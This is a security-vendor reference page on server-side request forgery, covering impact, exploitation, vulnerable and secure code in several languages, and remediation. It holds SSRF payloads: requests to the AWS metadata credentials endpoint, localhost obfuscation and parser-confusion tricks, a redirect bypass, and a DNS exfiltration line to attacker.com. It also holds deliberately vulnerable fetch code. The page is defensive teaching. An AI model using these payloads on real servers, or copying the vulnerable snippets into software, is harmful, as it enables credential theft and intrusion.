Skip to main content

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery occurs when an attacker can make a server-side application send HTTP requests to an attacker-chosen destination, enabling access to internal services, cloud metadata, and internal networks.

High CWE-918 A10:2021 Server-Side Request Forgery
Affects: C#JavaJavaScriptPHPPythonRubyGo

What is Server-Side Request Forgery?

Server-Side Request Forgery (CWE-918) is a vulnerability where an attacker can induce a server-side application to make HTTP requests to a destination of the attacker’s choosing. The requests originate from the server itself, which means they bypass firewalls, network ACLs, and other perimeter controls that would block requests from external clients.

SSRF is dangerous because servers typically have access to:

  • Internal networks — Services behind the firewall that are not directly reachable from the internet
  • Cloud metadata services — AWS (169.254.169.254), GCP, Azure metadata endpoints that expose IAM credentials, API keys, and instance configuration
  • Localhost services — Admin panels, databases, caches, and monitoring tools listening on 127.0.0.1
  • Internal APIs — Microservices, message queues, and management endpoints

SSRF was significant enough to earn its own category in the OWASP Top 10 (A10:2021), reflecting the increasing severity of SSRF attacks in cloud-native environments.

Why it matters

SSRF has been involved in several high-profile breaches and is particularly dangerous in cloud environments:

  1. Capital One breach (2019) — An SSRF vulnerability in a WAF was used to access AWS metadata, steal IAM role credentials, and exfiltrate data of over 100 million customers
  2. Cloud credential theft — In AWS, a single SSRF request to http://169.254.169.254/latest/meta-data/iam/security-credentials/ can return temporary access keys with the instance’s IAM role permissions
  3. Internal service discovery — SSRF can be used to port-scan internal networks, identify running services, and map infrastructure that is invisible from the outside
  4. Defense bypass — SSRF requests originate from a trusted server, bypassing IP allowlists, VPN requirements, and firewall rules
  5. Widespread attack surface — Any feature that fetches URLs (webhooks, link previews, PDF generation, file imports, avatar URLs, RSS feeds) can be an SSRF vector

How exploitation works

Basic SSRF

An application fetches a URL provided by the user (e.g., to generate a link preview):

POST /api/preview
{"url": "https://example.com/article"}

The attacker submits an internal URL instead:

POST /api/preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role"}

The server fetches the cloud metadata endpoint and returns the IAM credentials to the attacker.

Bypass techniques

Attackers use various techniques to bypass URL validation:

# IP address obfuscation
http://0x7f000001/          → 127.0.0.1
http://2130706433/          → 127.0.0.1 (decimal)
http://0177.0.0.1/          → 127.0.0.1 (octal)
http://127.1/               → 127.0.0.1 (shortened)
http://[::1]/               → IPv6 localhost

# DNS rebinding
# attacker.com resolves to 127.0.0.1 after the initial DNS check

# URL parsing inconsistencies
http://attacker.com@127.0.0.1/   → userinfo as hostname confusion
http://127.0.0.1#@allowed.com    → fragment confusion

# Redirect-based bypass
http://attacker.com/redirect → 302 to http://169.254.169.254/

Blind SSRF

When the response is not returned to the attacker, they can still:

# Detect internal services via response timing
url=http://internal-host:22    → slow response (SSH banner)
url=http://internal-host:8080  → fast response (HTTP service)

# Exfiltrate via DNS
url=http://$(internal-data).attacker.com/

# Trigger actions on internal services
url=http://internal-admin:8080/api/deleteAll

Vulnerable code examples

Python / Django

# VULNERABLE: User-controlled URL fetched by server
import requests

def fetch_preview(request):
    url = request.POST.get('url')
    response = requests.get(url)  # No URL validation
    return JsonResponse({'content': response.text[:500]})

C# / ASP.NET

// VULNERABLE: User-supplied URL used in HttpClient
[HttpPost("fetch")]
public async Task<IActionResult> FetchUrl([FromBody] FetchRequest req)
{
    using var client = new HttpClient();
    var response = await client.GetStringAsync(req.Url);  // No validation
    return Ok(new { content = response[..500] });
}

Java / Spring

// VULNERABLE: URL from user input
@PostMapping("/webhook/test")
public ResponseEntity<String> testWebhook(@RequestBody WebhookConfig config) {
    URL url = new URL(config.getCallbackUrl());
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("POST");
    // ... sends test payload to attacker-controlled URL
    return ResponseEntity.ok("Webhook tested");
}

Node.js / Express

// VULNERABLE: Fetching user-provided URL
const axios = require('axios');

app.post('/api/import', async (req, res) => {
    const { url } = req.body;
    const response = await axios.get(url);  // No URL validation
    res.json({ data: response.data });
});

PHP

// VULNERABLE: file_get_contents with user URL
$url = $_POST['feed_url'];
$content = file_get_contents($url);  // Can access internal services
echo $content;

Secure code examples

Python — URL validation with allowlist

# SECURE: Validate URL scheme, host, and resolved IP
import requests
import ipaddress
from urllib.parse import urlparse
import socket

ALLOWED_SCHEMES = {'http', 'https'}
BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),  # Link-local / cloud metadata
    ipaddress.ip_network('::1/128'),
    ipaddress.ip_network('fc00::/7'),
]

def is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        return False
    if not parsed.hostname:
        return False

    # Resolve hostname and check against blocked networks
    try:
        resolved_ip = socket.getaddrinfo(parsed.hostname, None)[0][4][0]
        ip = ipaddress.ip_address(resolved_ip)
        for network in BLOCKED_NETWORKS:
            if ip in network:
                return False
    except (socket.gaierror, ValueError):
        return False
    return True

def fetch_preview(request):
    url = request.POST.get('url')
    if not is_safe_url(url):
        return JsonResponse({'error': 'URL not allowed'}, status=400)
    response = requests.get(url, timeout=5, allow_redirects=False)
    return JsonResponse({'content': response.text[:500]})

C# — URL validation with IP check

// SECURE: Validate URL and resolved IP address
[HttpPost("fetch")]
public async Task<IActionResult> FetchUrl([FromBody] FetchRequest req)
{
    if (!Uri.TryCreate(req.Url, UriKind.Absolute, out var uri))
        return BadRequest("Invalid URL");

    if (uri.Scheme != "http" && uri.Scheme != "https")
        return BadRequest("Only HTTP(S) allowed");

    // Resolve DNS and check for internal IPs
    var addresses = await Dns.GetHostAddressesAsync(uri.Host);
    foreach (var addr in addresses)
    {
        if (IPAddress.IsLoopback(addr) || IsPrivateIp(addr))
            return BadRequest("Internal addresses not allowed");
    }

    using var client = new HttpClient();
    client.Timeout = TimeSpan.FromSeconds(5);
    var response = await client.GetStringAsync(uri);
    return Ok(new { content = response[..Math.Min(response.Length, 500)] });
}

private static bool IsPrivateIp(IPAddress ip)
{
    byte[] bytes = ip.GetAddressBytes();
    return bytes[0] switch
    {
        10 => true,
        172 => bytes[1] >= 16 && bytes[1] <= 31,
        192 => bytes[1] == 168,
        169 => bytes[1] == 254,
        _ => false
    };
}

Node.js — ssrf-req-filter or manual validation

// SECURE: Validate URL before fetching
const { URL } = require('url');
const dns = require('dns').promises;
const ipRangeCheck = require('ip-range-check');

const BLOCKED_RANGES = [
    '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12',
    '192.168.0.0/16', '169.254.0.0/16', '::1/128'
];

async function isSafeUrl(urlStr) {
    let url;
    try { url = new URL(urlStr); } catch { return false; }

    if (!['http:', 'https:'].includes(url.protocol)) return false;

    const addresses = await dns.resolve4(url.hostname);
    return addresses.every(ip => !ipRangeCheck(ip, BLOCKED_RANGES));
}

app.post('/api/import', async (req, res) => {
    const { url } = req.body;
    if (!(await isSafeUrl(url))) {
        return res.status(400).json({ error: 'URL not allowed' });
    }
    const response = await axios.get(url, {
        timeout: 5000,
        maxRedirects: 0  // Prevent redirect-based bypass
    });
    res.json({ data: response.data });
});

What Offensive360 detects

Our SAST engine traces user-controlled input to HTTP request construction. We detect:

  • Unvalidated URL usage — User input passed directly to HttpClient, requests.get(), axios.get(), file_get_contents(), URL.openConnection(), and other HTTP client APIs
  • Incomplete validation — URL scheme checks without IP resolution, hostname allowlists without redirect following, and other partial mitigations
  • Redirect following — HTTP clients configured to follow redirects, which can bypass URL validation (server validates example.com but the redirect goes to 169.254.169.254)
  • URL construction — Dynamic URL building with user input even when combined with a base URL
  • Indirect SSRF — User input stored and later used to construct URLs (e.g., webhook URLs saved in settings)
  • Protocol smuggling — Use of non-HTTP protocols (file://, gopher://, dict://) through URL parsing

Each finding shows the taint path from user input to the HTTP request function and flags the specific risk (metadata access, internal network access, or protocol smuggling).

Remediation guidance

  1. Validate and resolve before fetching — Parse the URL, resolve the hostname to an IP address, and verify the IP is not in a private/reserved range. Do this after DNS resolution to prevent DNS rebinding attacks.

  2. Use allowlists over blocklists — If possible, maintain an allowlist of permitted domains or URL patterns rather than trying to block all internal ranges.

  3. Disable redirects — When fetching URLs, disable automatic redirect following or re-validate the redirect target before following it.

  4. Restrict URL schemes — Only allow http and https. Block file://, gopher://, dict://, ftp://, and other protocols.

  5. Use IMDSv2 on AWS — Configure AWS instances to require IMDSv2 (token-based), which mitigates SSRF-based metadata theft by requiring a PUT request to obtain a session token.

  6. Network segmentation — Place application servers in a network segment that cannot reach sensitive internal services. Use a dedicated proxy or egress gateway for outbound requests.

  7. Timeout and size limits — Set short timeouts and response size limits to prevent SSRF from being used for denial-of-service or large-scale data exfiltration.

False-positive considerations

Offensive360 may flag URL fetching that is safe in certain cases:

  • Hardcoded URLs — If the URL is entirely a compile-time constant, there is no SSRF risk
  • Internal service-to-service calls — URLs constructed from configuration (not user input) to call known internal services are not SSRF, though they may still benefit from validation
  • URL from authenticated admin input — If only trusted administrators can configure webhook URLs, the risk is lower (though still present if admin accounts can be compromised)
  • Validated and resolved input — If the application properly resolves DNS, checks the IP against private ranges, and disables redirects, the SSRF risk is mitigated

References

Author: Offensive360 Security Research
Last reviewed: March 1, 2026

Detect Server-Side Request Forgery (SSRF) in your code

Run Offensive360 SAST against your codebase to find this and hundreds of other vulnerabilities.